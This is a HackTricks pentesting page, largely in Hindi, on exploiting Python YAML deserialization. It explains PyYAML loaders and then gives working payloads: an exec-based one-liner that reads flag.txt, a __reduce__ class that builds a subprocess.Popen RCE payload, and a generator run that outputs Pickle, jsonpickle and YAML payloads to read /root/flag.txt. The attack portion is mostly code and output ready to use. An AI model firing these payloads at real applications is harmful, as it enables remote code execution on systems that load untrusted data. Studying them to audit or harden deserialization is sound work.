Python Yaml Deserialization

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Yaml Deserialization

Yaml पायथन पुस्तकालय भी पायथन ऑब्जेक्ट्स को सीरियलाइज़ करने में सक्षम है और केवल कच्चे डेटा नहीं:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

जाँच करें कि tuple कच्चे डेटा का प्रकार नहीं है और इसलिए इसे serialized किया गया था। और यही range के साथ हुआ (जो builtins से लिया गया है)।

safe_load() या safe_load_all() SafeLoader का उपयोग करते हैं और क्लास ऑब्जेक्ट डीसिरियलाइजेशन का समर्थन नहीं करते। क्लास ऑब्जेक्ट डीसिरियलाइजेशन का उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

पिछले कोड ने unsafe_load का उपयोग किया ताकि सीरियलाइज्ड पायथन क्लास को लोड किया जा सके। इसका कारण यह है कि संस्करण >= 5.1 में, यह किसी भी सीरियलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को डीसिरियलाइज करने की अनुमति नहीं देता, जब लोड() में लोडर निर्दिष्ट नहीं किया गया हो या Loader=SafeLoader हो।

बेसिक एक्सप्लॉइट

कैसे एक स्लीप को निष्पादित करें इसका उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnerable .load("<content>") without Loader

पुराने संस्करण pyyaml deserialization हमलों के प्रति संवेदनशील थे यदि आपने कुछ लोड करते समय Loader निर्दिष्ट नहीं किया: yaml.load(data)

आप संवेदनशीलता का विवरण यहाँ** पा सकते हैं।** उस पृष्ठ में प्रस्तावित शोषण है:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

या आप इस एक-लाइनर का उपयोग कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

ध्यान दें कि हाल के संस्करणों में आप बिना Loader के .load() को अब नहीं बुला सकते और FullLoader अब इस हमले के प्रति संवेदनशील नहीं है।

RCE

कस्टम पेलोड्स को PyYAML या ruamel.yaml जैसे Python YAML मॉड्यूल का उपयोग करके बनाया जा सकता है। ये पेलोड्स उन सिस्टम में कमजोरियों का लाभ उठा सकते हैं जो बिना उचित सफाई के अविश्वसनीय इनपुट को डेसिरियलाइज करते हैं।

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Payloads बनाने के लिए उपकरण

उपकरण https://github.com/j0lt-github/python-deserialization-attack-payload-generator का उपयोग Pickle, PyYAML, jsonpickle और ruamel.yaml का दुरुपयोग करने के लिए पायथन डेसिरियलाइजेशन पेलोड्स उत्पन्न करने के लिए किया जा सकता है:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

References

• https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

• https://net-square.com/yaml-deserialization-attack-in-python.html

सीखें और AWS हैकिंग का अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) सीखें और GCP हैकिंग का अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाएँ देखें!

• हमारे 💬 Discord समूह या telegram समूह में शामिल हों या Twitter 🐦 पर हमें फॉलो करें @hacktricks_live.

• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।